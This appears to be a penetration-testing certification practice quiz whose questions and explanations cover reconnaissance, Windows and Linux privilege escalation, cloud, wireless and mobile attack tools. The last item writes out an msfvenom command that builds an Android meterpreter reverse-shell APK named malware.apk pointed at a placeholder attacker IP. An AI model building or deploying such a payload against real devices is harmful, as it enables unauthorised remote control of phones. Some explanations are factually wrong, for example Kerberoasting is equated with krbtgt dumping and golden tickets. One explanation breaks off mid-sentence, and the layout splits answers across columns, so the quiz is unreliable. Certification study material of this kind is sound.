Drew gains access to a host and wants to quickly check how many other users are actively logged on to the machine. Which of the following commands can Drew run? Select all that apply. A) finger B) net user C) Get-NetLoggedon D) cat /etc/passwd	Correct Answers Get-NetLoggedon finger Explanation: The finger command will show active Linux users on a host. Get-NetLoggedon is an Active Directory PowerShell plugin command to identify users that are logged on to a given computer. net user will show accounts on a Windows host... not active users. The cat /etc/passwd command lists all users on the system, not the active logged in users.

Drew has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results? A) Local administrator B) Service C) Network administrator D) Root user	Correct Answer: Service Explanation: The service account should be unique to the server and not... NOT... a root or network admin account.
Drew is helping a customer post-engagement. The customer wants to examine their cloud infrastructure for resources that could make them vulnerable to attack and then enforce policies to automatically correct the vulnerabilities. Which tool can Drew recommend the client use? A) Prowler B) Pacu C) Scoutsuite D) Cloud Custodian	Correct Answer: Cloud Custodian Explanation: Cloud custodian is an open-source cloud security, governance, and management tool designed to help the administrator create policies based on resource types. When run, you'll be able to see which resources will leave you vulnerable then enforce policies to automatically correct the vulnerabilities. ScoutSuite is an open-source tool written in Python that can be used to audit instances and policies created on multicloud platforms, such as AWS, Microsoft Azure, and Google Cloud. ScoutSuite collects data from the cloud using API calls. It then compiles a report of all the objects discovered, such as VM instances, storage containers, IAM accounts, data, and firewall ACLs. Prowler is an audit tool for use with Amazon Web Services only. It can be used to evaluate cloud infrastructure against the Center for Internet Security (CIS) benchmarks for AWS, plus additional GDPR and HIPAA compliance checks. Pacu is designed as an exploitation framework to assess the security configuration of an AWS account. It includes several modules so the team can attempt exploits such as obtaining API keys or gaining control of a VM instance.
Drew is researching migrating to the company CRM solution to the cloud, specifically a PaaS model like SalesForce. Which of the following attacks is PaaS particularly subject to? A) DNS poisoning B) side-channel C) malware injection D) direct-to-origin	Correct Answer: side-channel Explanation: In a side-channel attack, this exploit is possible because of the shared nature of the cloud infrastructure, especially in a PaaS model. In a malware injection attack, a malicious actor injects malicious code into an application. Common attacks can include SQL injection (SQLi) and Cross-Site Scripting (XSS). In direct-to-origin attacks (D2O), malicious actors circumvent proxy protections by identifying the origin network or IP address and then launching a direct attack. Domain Name System (DNS) cache poisoning sends bogus records to a DNS resolver. When the victim requests an IP address, the DNS server will send the wrong IP address.
You are planning to exploit a network-based vulnerability against an organization as part of a penetration test. You attempted to connect your laptop to the network jack in their conference room. You found yourself in the highly restricted VLAN that the organization allows its visitors to connect to when conducting presentations. This VLAN only allows you to access the internet, not the internal network. You decide you need to conduct VLAN hopping. Which of the following methods would be MOST likely to succeed? A) poison or overflow the MAC table of the switch	Correct Answer: poison or overflow the MAC table of the switch Explanation: VLAN hopping is the act of illegally moving from one VLAN to another. A VLAN (virtual LAN) is a logical grouping of switch ports extending across any number of switches on an Ethernet network. One of the most common VLAN hopping methods is to overflow

B) harvest the user credentials of an employee and use those to connect C) connect a WAP to the conference room network jack D) spoof the MAC address of the room's VOIP phone to your laptop	the MAC table on a vulnerable switch. When this occurs, the switch defaults to operating as a hub and repeats all frames being received through all of its ports. This "fail open" method ensures the network can continue to operate, but it is a security risk that can be exploited by the penetration tester.
Drew has the not-often given task of testing a company's infrastructure resilience to NTP and DNS amplification attacks. Which of the following tools is well suited to do both amplification DoS attacks? A) HOIC B) LOIC C) Hyenae D) Saddam E) nmap	Correct Answer: Saddam Explanation: Saddam is an open source DDoS tool written in Python that supports: DNS Amplification (Domain Name System), NTP Amplification (Network Time Protocol) , SNMP Amplification (Simple Network Management Protocol), SSDP Amplification (Simple Service Discovery Protocol)
Drew just completed a Nmap scan against a workstation and received the following output: <<see picture>> Based on these results, which of the following operating system is most likely being run by this workstation? A) macOS B) Windows C) CentOS D) Ubuntu	Correct Answer: Windows Explanation: The workstation is most likely running a version of the Windows operating system. Port 139 and port 445 are associated with the SMB file and printer sharing service run by Windows. Since Windows 2000, the NetBIOS file and print sharing has been running over these ports on all Windows systems by default. While you may also see port 445 used in Linux for CIFS and samba share, Linux does not use port 139 for anything standard and useful.
Drew has "popped a shell" on a Windows box but only has user account permissions. She wants to escalate privileges by exploiting weak folder permissions she notices on the system. Which privilege escalation technique would she likely use? A) SAM file cracking B) SAM file deletion C) DLL hijacking D) Local UAC bypass	Correct Answer: DLL hijacking Explanation: DLL hijacking allows one to elevate privileges by exploiting weak folder permissions, unquoted service paths, or applications that run from network shares. Additionally, you can replace legitimate DLLs with malicious ones. Local User Account Control bypass ...Bypasses local UAC. One way is to use process injection to leverage a trusted publisher certificate. Security Account Manager (SAM) file can be used to either dump the contents of the SAM file to get the hashed passwords or copy the file using Volume Shadow Service (VSS) and then crack the passwords offline.
You are planning to exploit a network-based vulnerability against a Windows server. As part of your planning, you use the auxiliary scanner in Metasploit against the network and receive the following results: <<see picture>> Based upon the output, which of the following exploits are you preparing to use? A) SNMP exploit B) FTP exploit C) SMTP exploit D) SMB exploit	Correct Answer: SNMP exploit Explanation: SNMP provides a lot of information about different target devices on the network. Based on the output shown, you should identify that this is an SNMP scan based on the "community string" keyword. From your Network+ and Security+ studies, you should remember that SNMP uses community strings as a basic authentication mechanism before allowing you to access a network device's statistics. In this scan, two devices are found on this network with default public and private community strings. This makes these devices vulnerable to an SNMP attack for further exploitation.
You are conducting a penetration test against an organization's Windows network. You have dumped the hash of their krbtgt account from the server's memory and used it to create golden tickets. Which of the following types of privilege escalation have	Correct Answer: Kerberoasting Explanation: Kerberoasting is the dumping of the hash of the krbtgt (kerberos ticket-granting ticket) from a server's memory using a domain-based user account. This is then used to create new golden

you performed? A) DLL hijacking B) Kerberoasting C) insecure sudo D) cPassword extraction	tickets that allow any domain user to request the Ticket Granting Ticket from a domain service account. This can be cracked offline to reveal the plaintext password of the account. Many Windows services run with administrative privileges, and most system administrators don't frequently change these passwords. This can lead to an attacker gaining access to a domain for a long period of time.
Drew is conducting a vulnerability assessment and discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment? A) Ping of death B) Smurf C) Ping flood D) Fraggle	Correct Answer: Fraggle Explanation: A Fraggle attack is similar to a Smurf attack. These are both denial-of-service (DoS) techniques that aim to flood your system. But a Smurf attack involves sending internet control message protocol (ICMP) packets instead, whereas a Fraggle attack uses UDP protocol. Everything else is the same. With a Fraggle attack, the problem starts when a large amount of spoofed user datagram protocol (UDP) traffic comes to your router's broadcast address. Your server tries to respond, but the flood of packets continues. In time, your server seizes up due to the added activity. All of the other attack choices, SMURF, PoD, Ping Flood all use ICMP and since that is disabled, the attacker must use a non-Layer 3 attack method that doesn't relay on ICMP.
Drew gains access to a Windows host and wants to quickly check how many other user accounts are listed on the machine. She runs a command and gets the following output: <<see picture>> Which of the following commands did Drew run? A) net view B) getent passwd C) cat /etc/passwd D) net user	Correct Answer: net user Explanation: net view: command to view shares from other hosts in the network (Windows PCs) net user: command will list all users on a PC/ Windows machine. The getent command searches and displays system database entries. The searchable databases are listed in the /etc/nsswitch.conf file. By default, the file includes the passwd database. List the entire contents of the passwd database by typing: getent passwd (Linux) cat /etc/passwd outputs the entire passwd file with all the users on the system (Linux)
Drew is looking for custom scripts against uncommon services which they can't find in MetaSploit. Which of the following could they look at to possibly find what they need? A) MSTG B) OSSTMM C) ExploitDB D) OWASP	Correct Answer: ExploitDB Explanation: While there are many repositories available, the team can use the Exploit Database (Exploit DB) which provides a complete collection of public exploits and vulnerable software in a searchable database. The MSTG (Mobile Security Testing Guide) provides an intuitive framework that steps you through the assessment process and includes a dashboard, security recommendations, and specifications for testing resiliency. The Open Web Application Security Project (OWASP) is an organization aimed at increasing awareness of web security and provides a framework for testing during each phase of the software development process. OSSTMM provides a holistic structured approach to PenTesting.

	Written in 2000, the open-source document stresses auditing, validation, and verification.
Which of the following tools should a penetration tester use to enumerate user accounts, escalate privileges, and other tasks during the post-exploitation phase against an AWS-based cloud architecture? A) wapiti B) pacu C) covenant D) cewl	Correct Answer: pacu Explanation: Pacu is designed as a post-exploitation framework to assess the security configuration of an AWS account by enumerating user accounts, escalating privileges, launching additional attacks, or installing backdoors. Covenant is an open-source .NET framework with a focus on penetration testing and contains a development/debugging component. CeWL is a word list generate that automatically navigates a website and collects words from the text, metadata, and other files found on the site. The Wapiti is a web application vulnerability scanner that automatically navigates a web app to find areas where it can inject data.
You are attempting to exploit a network-based vulnerability against a Windows server. You configure Metasploit with the following options below and enter the run command. <<see picture>> Which of the following types of exploits are you attempting? A) credential brute forcing B) credential harvesting C) pass the hash D) sandbox escape	Correct Answer: pass the hash Explanation: A pass the hash attack is a network-based attack where the attacker steals hashed user credentials and uses them as-is to try to authenticate to the same network the hashed credentials originated on. When authenticating with a username and password, the password is hashed once you type it in. Therefore, the computer doesn't recognize a difference between the password and the hash itself. So, if you use psexec to send the hash to the system directly, it can be used to authenticate you as that user without actually knowing the user's password. The key to answering this question is identifying that the smbpass parameter is being set to a password hash of a specified user.
Which of the following tools provides Python classes for interacting with network protocols? A) Impacket B) Empire C) PowerSploit D) Responder	Correct Answer: Impacket Explanation: Impacket is a collection of Python3 classes focused on providing access to network packets. Impacket allows Python3 developers to craft and decode network packets in simple and consistent manner. It includes support for low-level protocols such as IP, UDP and TCP, as well as higher-level protocols such as NMB and SMB. Impacket is highly effective when used in conjunction with a packet capture utility or package such as Pcapy. Packets can be constructed from scratch, as well as parsed from raw data. Furthermore, the object oriented API makes it simple to work with deep protocol hierarchies. Responder is a command line tool in Kali Linux used to poison NetBIOS, LLMNR, and MDNS name resolution requests. Responder is a man-in-the-middle type tool that can be used to exploit name resolution on a Windows network. It is designed to intercept and poison LLMNR and NBT-NS requests. LLMNR and NetBIOS are two name resolution services used in a Windows environment to resolve network addresses. During name resolution, if a Windows host cannot resolve a domain or host name via a DNS server, it will query other hosts on the local segment. By default, the process will first use LLMNR, and if that fails, it will try the NetBIOS Name Service (NBT-NS). Once a request is intercepted, Responder will return the attacker's host IP as the name record, causing the querying host to establish a session with the attacker. For the attack to work, the victim system must either be tricked into querying a nonexistent name or prevented from using the legitimate DNS service. Responder can also be used in analysis

	mode to monitor name resolution traffic without responding. This can help an attacker map out names used on the network and select a target. Empire is a C2 framework that makes use of PowerShell for co
Drew reads about a tool called Responder, sets it up on their home network to test on devices that they own. Which protocols should they filter during packet captures to see what is happening? (Select all that apply.) A) SSH B) LLMNR C) VNC D) NBT-NS	Correct Answers NBT-NS LLMNR Explanation: Responder is a man-in-the-middle type tool that can be used to exploit name resolution on a Windows network which poisons LLMNR. Responder is also designed to intercept and poison NBT-NS. Once a request is intercepted, Responder will return the attacker's host IP as the name record. Responder is not designed to work against SSH. Responder is a man-in-the-middle type tool that can be used to exploit name resolution on a Windows network. Responder does not work against VNC. By default, the process will first use LLMNR, and if that fails, it will try the NetBIOS Name Service (NBT-NS).
Drew logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user? A) iam_privesc_scan B) iam_bruteforce_permissions C) iam_enum_permissions D) iam_backdoor_assume_role	Correct Answer: iam_enum_permissions Explanation: Pacu is designed as an exploitation framework to assess the security configuration of an AWS account. It includes several modules so the team can attempt exploits such as obtaining API keys or gaining control of a VM instance. So... how do you know which module to use? Only one is referenced in the study guide.
Drew has "popped a shell" on a Linux box and runs a command that shows the following output: <<see picture>> Which built-in bash command should they use? A) env B) uname -a C) cat /etc/passwd D) finger	Correct Answer: finger Explanation: The finger command views a user's home directory along with login and idle time.
Drew has "popped a shell" on a Linux box and wants to find out more about the users' login and idle time. Which built-in bash command should they use? A) uname -a B) cat /etc/passwd C) env D) finger	Correct Answer: finger Explanation: The finger command views a user's home directory along with login and idle time. You can also use nmap -O or -sV scans to fingerprint the operating system and interrogate its services. The cat /etc/passwd command lists all users on the system. If the Linux host is running the Samba service, you can use nmap smb-* NSE scripts against the target. The uname -a command displays the OS name, version, and other details. If a Linux machine is compromised using Metasploit, the post/linux/enum_system module can be used to get information about the system.

	The env command outputs a list of all the environmental variables.
A company recruited Drew to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions? A) Wireshark B) Wifite C) Kismet D) Aircrack-ng	Correct Answer: Aircrack-ng Explanation: Aircrack-ng is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security: - Monitoring: Packet capture and export of data to text files for further processing by third party tools. - Attacking: Replay attacks, deauthentication, fake access points and others via packet injection. - Testing: Checking WiFi cards and driver capabilities (capture and injection). - Cracking: WEP and WPA PSK (WPA 1 and 2) Wifite2 is a wireless auditing tool you can use to assess the WLAN. Wifite2 can launch a variety of attacks including Pixie attacks, PMKID cracking, and more. It's a good tool to use, but not the BEST of these choices
Drew has been contracted to review wireless security. She has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. She now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should she take NEXT? A) Set the malicious AP to broadcast within dynamic frequency selection channels. B) Send deauthentication frames to the stations. C) Modify the malicious AP configuration to not use a pre-shared key. D) Perform jamming on all 2.4GHz and 5GHz channels.	Correct Answer: Send deauthentication frames to the stations Explanation: Deauthentication attacks are used in the service of an evil twin, replay, cracking, denial of service, and other attacks. All 802.11 Wi-Fi protocols include a management frame that a client can use to announce that it wishes to terminate a connection with an access point. The victim's device will be kicked off the access point by spoofing the victim's MAC address and sending the deauthentication frame to the access point. If the user is still using the network, the wireless adapter will automatically reconnect by sending a handshake to the access point. This allows the attacker to capture the handshake during the reconnection
Which on-path attack utilizes a wireless access point made to look as if it belongs to the network by mimicking the corporate network's SSID to eavesdrop on the wireless traffic? A) WEP-crack B) shoulder surfing C) evil twin D) rogue AP	Correct Answer: evil twin Explanation: An evil twin is meant to mimic a legitimate hotspot provided by a nearby business, such as a coffee shop that provides free Wi-Fi access to its patrons. An evil twin is a type of rogue wireless access point that masquerades as a legitimate Wi-Fi access point so that an attacker can gather personal or corporate information without the user's knowledge. This type of attack may be used to steal the passwords of unsuspecting users by monitoring their connections or phishing, which involves setting up a fraudulent website and luring people there. A rogue access point is an access point installed on a network without the network owner's permission. For example, if an employee connected a wireless access point to a wall jack in their office so that they can use their smartphone or tablet, this would be considered a rogue access point. Therefore, an evil twin is the better answer to this question since it is specifically being made to look like it belongs on the network by mimicking the SSID of the corporate network. A WEP attack is a brute force password attack conducted against a wireless network that relies on WEP for its encryption and security. Shoulder surfing is a type of social engineering technique used to obtain information such as personal identification numbers, passwords, and other confidential data by looking over the victim's shoulder

Which of the following weaknesses exist in WPS-enabled wireless networks? A) utilizes TKIP to secure the authentication handshake B) utilizes a 24-bit IV C) brute force occurs within 11000 combinations D) utilizes a 40-bit encryption key	Correct Answer: brute force occurs within 11000 combinations Explanation: The most prominent attack against WPS0-enabled wireless networks involves brute-forcing the 8-digit PIN that client uses to enroll their devices without knowing the pre-shared key. WPS checks each half of the PIN individually, reducing the number of possible combinations from a maximum of 100,000,000 to only 11,000. This only takes a few minutes to crack on most modern computers, as long as the WAP doesn't have a lockout after a certain number of failures. The lockout mechanism may also be triggered based on the client's MAC, so you can often spoof MAC to bypass this defense
You are conducting a penetration test against an organization. You have captured the legitimate authentication handshake between a client and a server. Later in the day, you retransmit that session while spoofing your MAC address to that of the client. Which of the following exploits are you using? A) replay attack B) relay attack C) fragmentation attack D) downgrade attack	Correct Answer: replay attack Explanation: A replay attack repeats a legitimate transmission in a malicious context. For example, a user might send their authentication information to a client or system; the attacker who eavesdrops on this communication can use the authentication in a later transmission, essentially impersonating the victim. In wireless networking, replaying transmissions can be used to enable several different attacks. Do not confuse a replay attack with a relay attack. In a replay attack, a legitimate network packet or frame is retransmitted repeatedly. In a relay attack, an attacker inserts themselves on-path between two devices, intercepting and forwarding traffic between them. A fragmentation attack obtains the pseudorandom generation algorithm (PRGA) of network packets used in WEP. A downgrade attack forces a client to use a weaker SSL version that the attacker can crack
You look over Drew's shoulder during a red team engagement and see the following: <<see picture>> What is she using this tool to do? A) design, build, and test mobile apps for Android devices B) decompile and/or edit an APK file C) launch an on-path attack D) dump process memory	Correct Answer: launch an on-path attack Explanation: Ettercap is a suite of tools that can be used to launch various types of Man in The Middle (or on-path) attacks Android SDK tools have packages so you can design, build, and test mobile apps for Android devices along with reverse engineering an existing device Frida is an open-source tool that can work with a wide range of operating systems. It includes custom developer tools that help the PenTest team during application PenTesting, as you can examine the plaintext data that is being passed. In addition, Frida has many other features that allow you to do the following: • Dump process memory • In-process fuzzing • Anti-jailbreak (or root) detection • Change a program's behavior APK Studio is an integrated development environment (IDE) designed so you can decompile and/or edit an APK file
Your smartphone begins to receive unsolicited messages while eating lunch at the restaurant across the street from your office. What might cause this to occur? A) bluesnarfing	Correct Answer: bluejacking Explanation: Bluejacking sends unsolicited messages over Bluetooth to Bluetooth-enabled devices such as smartphones and tablets. On the other hand, Bluesnarfing involves taking data from a smartphone

B) bluejacking C) packet sniffing D) geotagging	or tablet over Bluetooth without permission. Bluetooth has a limited range, so the attacker is likely within 10 meters of the victimized device. Geotagging involves embedding the geolocation coordinates into a piece of data (normally a photo or video). Packet sniffing is a passive method of collecting network traffic for follow-on analysis at a later time
You are conducting a wireless penetration test against an organization. You have identified that they are using WEP encryption on their wireless access points. You are impatient and do not want to wait to collect enough packets to find a repeated initialization vector. You decide to extract part of the key material from one of the packets and use it to send an ARP request to the AP. Which of the following exploits did you utilize in this attack? A) downgrade attack B) fragmentation attack C) karma attack D) deauthentication attack	Correct Answer: fragmentation attack Explanation: Why is this a horrible question? To paraphrase Alan Iverson... We talking about WEP? We talking about WEP? WEP? Come on, man A fragmentation attack obtains the pseudorandom generation algorithm (PRGA) of network packets used in WEP. The PRGA can be used to craft encrypted packets that you can inject into the access point. These injected packets can speed up cracking the WEP password; otherwise, it might take a while to receive enough packets to get the repeated IV. In a fragmentation attack, you extract part of the key material from at least one packet and use this to send an ARP request to the AP. If successful, the AP responds with more of the key material in the packet echoed back to you. You repeat this process many times until around 1500 bytes of the PRGA is captured, at which point you can then use a packet crafting tool to begin the injection process. A downgrade attack forces a client to use a weaker SSL version that the attacker can crack. Deauthentication attacks are used in the service of an evil twin, replay, cracking, denial of service, and other attacks. All 802.11 Wi-Fi protocols include a management frame that a client can use to announce that it wishes to terminate a connection with an access point. The victim's device will be kicked off the access point by spoofing the victim's MAC address and sending the deauthentication frame to the access point. A karma attack is a variant of the evil twin attack. A karma attack exploits the behavior of a wireless client trying to connect to its preferred network list. This list contains the SSIDs of access points the device has connected to in the past. When a wireless device is looking to connect to the internet, it firsts beacons to determine if any of these previously connected networks are within range
Drew is analyzing entry to a network utilizing 802.1X authentication. Which of the following is NOT one of the three main components of this setup? A) supplicant B) AS C) EAP D) authenticator	Correct Answer: EAP Explanation: The Extensible Authentication Protocol (EAP) creates an encrypted tunnel between the supplicant and authentication server. This is not one of the main components but is a part of the process The Supplicant (or Wi-Fi client) is the first entity in 802.1X authentication. In a corporate WLAN, clients generally must authenticate prior to gaining access to the network using the 802.1X authentication protocol The Authenticator (or WAP) is the second entity in 802.1X authentication. Once authenticated, a virtual port is created on the access point and the client can then access network resources The Authentication Server (AS) is the last entity in 802.1X authentication. It is generally a RADIUS server that provides the authentication

Drew wants to disable monitor mode on a wireless interface. Which tool should they use? A) airmon-ng B) pacu C) aireplay-ng D) airodump-ng	Correct Answer: airmon-ng Explanation: Airmon-ng will enable and disable monitor mode on a wireless interface. Airmon-ng can also switch an interface from managed mode to monitor mode Aireplay-ng injects frames to perform an attack to obtain the authentication credentials for an access point, which is usually performed using a deauthentication attack Airodump-ng provides the ability to capture 802.11 frames and then use the output to identify the Basic Service Set ID (MAC address) of the access point along with the MAC address of a victim client device Pacu is designed as an exploitation framework to assess the security configuration of an AWS account. It includes several modules to attempt exploits such as obtaining API keys or gaining control of a VM instance
You are working as part of a DevSecOps team working on a new Android application. You need to conduct static analysis on the APK (Android PacKage) as part of your software assurance responsibilities. Which actions should you use to convert the APK back into the source code to analyze the type of information an attacker might gain during reverse engineering the APK? A) compile the APK into a JAR and then convert it into the DEX source code B) convert a DEX to a JAR file and then decompile the JAR into Java C) decompile the DEX to a JAR file and then convert the JAR into Java D) convert the Java code in the APK to a JAR file and then cross-compile it to a DEX	Correct Answer: convert a DEX to a JAR file and then decompile the JAR into Java Explanation: Android apps come packaged as APKs (Android PacKages). The APK contains all the application files, including the DEX file (Android bytecode/binary). To reverse the APK into the source code to conduct a static analysis, you can convert the DEX file to a JAR (Java Archive) file. Then, you can decompile the JAR file into Java source code using a decompiler. While the specifics on how to do all of this are beyond the exam's scope, you should understand the concepts and basic steps involved per the exam objectives
Drew is testing the Wi-Fi with MDK4 and wants to create the appearance of many wireless networks. Which of the following modes should they use? A) B B) W C) A D) D	Correct Answer: B Explanation: Mode b creates the appearance of many wireless networks. MDK4 is a powerful Linux based tool that features a wide range of attacks In mode a authentication, DoS will send multiple authentication frames to WAP in range with the intent of overwhelming the AP Mode d will send a deauth to disconnect and disassociate all clients from an AP. MDK4 supports 2.4 to 5GHz and has nine attack modules Mode w will provoke an Intrusion Detection and Prevention Systems confusion attack. When testing with this tool use caution, as some of the attack modules can have a serious negative effect on the network

Drew discovers a device during an engagement and needs to try conducting a Pixie attack or attempt to crack PMKID offline. Which tool should they use? A) scoutsuite B) airmon-ng C) wifite2 D) spooftooph	Correct Answer: wifite2 Explanation: Pixie attack? A Pixie-Dust attack works by bruteforcing the key for a protocol called WPS. WPS was intended to make accessing a router easier, and it did - for attackers PMKID? PMKID is the unique key identifier used by the AP to keep track of the PMK being used for the client. The PMK itself is a hash that can be expressed as: PMK = PBKDF2(Passphrase, SSID, 4096) Wifite2 is a wireless auditing tool you can use to assess the WLAN. Wifite2 can launch a variety of attacks including Pixie attacks, PMKID cracking, and more Airmon-ng will enable and disable monitor mode on a wireless interface. Airmon-ng can also switch an interface from managed mode to monitor mode One tool that can either spoof or clone a Bluetooth device is Spooftooph. Keep in mind, before making any changes to a Bluetooth adapter, you must run Spooftooph with root privileges ScoutSuite is an open-source tool written in Python that can be used to audit instances and policies created on multi-cloud platforms, such as AWS, Microsoft Azure, and Google Cloud
Drew's target organization uses 802.1x and a captive portal for wireless authentication. She would like to conduct an attack against the captive portal to capture user AD credentials. Which of the following is the best tool to use for this purpose? A) MDK4 B) wifite2 C) Fern D) EAPHammer	Correct Answer: EAPHammer Explanation: EAPHammer is another Python-based toolkit with a wide range of features. Included in Kali Linux, it provides several options that the team can use to launch an attack on a WPA2-Enterprise 802.11a or 802.11n network in an easy-to-use platform. For example, you can launch a karma attack using an evil twin and trick someone into joining the bogus network. In addition, EAPHammer can also steal RADIUS credentials such as WPA-EAP and WPA2-EAP authentication, conceal or cloak an SSID, and perform captive portal attacks to capture Active Directory credentials MDK4 is a powerful Linux based tool that features a wide range of attacks, but captive portal attacks are not one of its capabilities / attack modes Fern is a Python-based program used to test wireless networks. Fern runs on a Linux OS and is able to recover WEP/ WPS/WPA/ keys using a variety of methods. Methods include bruteforce, dictionary, session hijacking, replay, and man in the middle attacks Wifite2 is a wireless auditing tool you can use to assess the WLAN. Once you launch Wifite2, you can begin a site survey and identify any active targets. After gathering the information, it will display a list of known targets and hidden access points. In addition, Wifite2 will display whether the network advertises WPS along with the type of encryption in use. Once the network information is presented, you can select a target and begin an attack. Wifite2 can launch a variety of attacks to retrieve the password of a WAP, including the following: • WPS (online) brute force PIN attack • WPS (offline) Pixie attack • WPA (offline) crack attempt

	• WPA Pairwise Master Key Identifier (PMKID) (offline) crack attempt If you select a group of targets, Wifite2 will proceed to attempt to capture handshakes and then attack the easiest targets
Drew is using the aircrack-ng suite of utilities to test wireless security of an organization. She specifically wants to capture 802.11 frames and then use the output to identify the SSID of the AP along with the MAC addresses of possible target wireless hosts. Which of the following aircrack-ng tools would she use? A) aireplay-ng B) airmon-ng C) airodump-ng D) airpcap-ng	Correct Answer: airodump-ng Explanation: Airodump-ng—provides the ability to capture 802.11 frames and then use the output to identify the Basic Service Set ID (MAC address) of the access point along with the MAC address of a victim client device. airpcap-ng is made up for this question Airmon-ng—will enable and disable monitor mode on a wireless interface. Airmon-ng can also switch an interface from managed mode to monitor mode. Aireplay-ng—Inject frames to perform an attack to obtain the authentication credentials for an access point, which is usually performed using a deauthentication attack
Drew identifies a corporate WAP that has WPS enabled and can barely contain herself. What tool will she use to brute force the WPS PIN and gain access to the corporate network? A) EAPHammer B) MDK4 C) Drozer D) Reaver	Correct Answer: Reaver Explanation: Any device that supports WPS will have an automatically generated eight-digit code. A malicious actor can launch an online attack using a tool called Reaver, which is included in Kali Linux. Reaver can brute force a PIN by doing the following: • Search and identify access points that are using WPS • Once identified, Reaver will begin sending numerous PINS to the device, which you will see in the terminal: Trying pin 12345670, Trying pin 00056748 ... • If the basic attack isn't successful, Reaver has advanced options, such as "Don't send NACK packets when detecting errors," or "Delay 15 seconds between PIN attempts". Keep in mind when launching a WPS attack using Reaver, this can take quite a while. In addition, an online attack might also be challenging, as many WAPs have a lockout function that activates after a certain number of failures. However, with Reaver you can slow the probes or pause and resume the attack later EAPHammer, MDK4 do not have WPS PIN brute force functionality Drozer is not a wireless tool
Drew just started a new job and learns that the company uses a COBO policy for mobile devices. What does this mean? A) The company will issue the employee a device that the employee can use for both company and personal business. B) The company will issue the employee a mobile device that the employee can only use for company business. C) The company will issue the employee a device that the employee can select from a curated list of devices. D) The company will allow the employee to bring their own device.	Correct Answer: The company will issue the employee a mobile device that the employee can only use for company business Explanation: Corporate-owned, business only (COBO) means that the company will issue the employee a mobile device that the employee can only use for company business The company will allow the employee to bring their own device in the bring your own device (BYOD) deployment model The company will issue the employee a device that the employee can use for both company and personal business in the corporate-owned, personally enabled (COPE) deployment model The company will issue the employee a device that the employee can select from a curated list of devices in the choose your own device (CYOD) deployment model

A company is using enterprise mobility management software (EMM) to make sure that all the devices employees bring and connect to the corporate network meet established security policies. What functions will the EMM software manage? (Select all that apply.) A) Preventing employees from installing apps B) Pushing out updates to devices C) Locking and wiping employee devices D) Reporting personal data usage back to the employer	Correct Answers Locking and wiping employee devices Preventing employees from installing apps Pushing out updates to devices Explanation: The EMM software will allow locking and wiping of employee devices through mobile device management (MDM) which sets device policies for authentication, feature use, and connectivity The EMM software will prevent employees from installing apps through mobile application management (MAM) which sets policies for apps and can prevent the installation of unauthorized apps The EMM software will push out updates to devices through mobile application management (MAM) which sets policies for apps that can automatically push out updates The enterprise mobility management software (EMM) software typically does not report employee personal data usage back to the employer. They may report back data usage within the enterprise side
An organization is using a testing framework to provide oversight and minimize risk with mobile devices. Which of the following are common elements of the testing framework when used on mobile devices? (Select all that apply.) A) Mobile Device Assessment B) Mobile App Testing C) COBO Approval D) Secure App Development	Correct Answers Mobile Device Assessment Secure App Development Mobile App Testing Explanation: A common element of the testing framework is mobile device assessment which provides an overview of compliance and business logic issues A common element of the testing framework is secure app development which creates organization-specific apps that are in line with organizational policy A common element of the testing framework is mobile app testing which includes Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) COBO (corporate owned, business only) approval is not a common element of the testing framework, but BYOD (bring your own device) approval which selects appropriate devices and creates policies is
Drew, a digital forensics expert, works for a large corporation and doesn't have enough time to manually analyze all the employee-returned mobile devices before administrators issue them to new employees. What tool can the forensics expert use to automate the evaluation of code and malware analysis on mobile devices? A) MobSF B) Kali C) MSTG D) OWASP	Correct Answer: MobSF Explanation: The Mobile Security Framework (MobSF) can provide an automated evaluation of code and malware analysis using both static analysis and dynamic analysis The MSTG (Mobile Security Testing Guide) provides an intuitive framework that steps you through the assessment process and includes a dashboard, security recommendations, and specifications for testing resiliency The Open Web Application Security Project (OWASP) provides many resources for securing and testing code and applications throughout the life cycle of a project. Both MobSF and MSTG are

	OWASP projects Kali is a suite of tools that has built-in apps designed to conduct penetration testing on a variety of devices, and Kali includes applications such as Ettercap, Android SDK tools, and Burp Suite
During the reconnaissance phase of a penetration test, you have determined that your client's employees all use iPhones that connect back to the corporate network over a secure VPN connection. Which of the following methods would MOST likely be the best method for exploiting these? A) use a tool like ICSSPOIT to target specific vulnerabilities B) use SET to trick a user into opeing a malicious APK C) use web-based exploits against the device's web interfaces D) identify a jailbroken device for easy exploitation	Correct Answer: identify a jailbroken device for easy exploitation Explanation: When targeting mobile devices, you must first determine if the company uses iPhones or Android-based devices. If they are using an iPhone, it becomes much more difficult to attack since iPhone users can only install trusted apps from the App Store. If the user has jailbroken their phone, they can sideload apps and other malware. After identifying a jailbroken device, you can use social engineering to trick the user into installing your malicious code and then take control of their device
Drew creates a reverse TCP listener back to her machine and saves it as an APK file using the following Metasploit command: _____ -p android/meterpreter/reverse_tcp LHOST=<attacker IP address> LPORT=<available port> R > malware.apk Complete the missing part of the above command. A) msfconsole B) msfencode C) msfvenom D) msfpayload	Correct Answer: msfvenom Explanation: https://www.offensive-security.com/metasploit-unleashed/Msfvenom/ msfvenom is a standalone Metasploit payload generator that replaces both msfpayload and msfencode into a single framework. Basically, It is used to generate and output all of the various types of shellcode that are available in Metasploit against Android phones
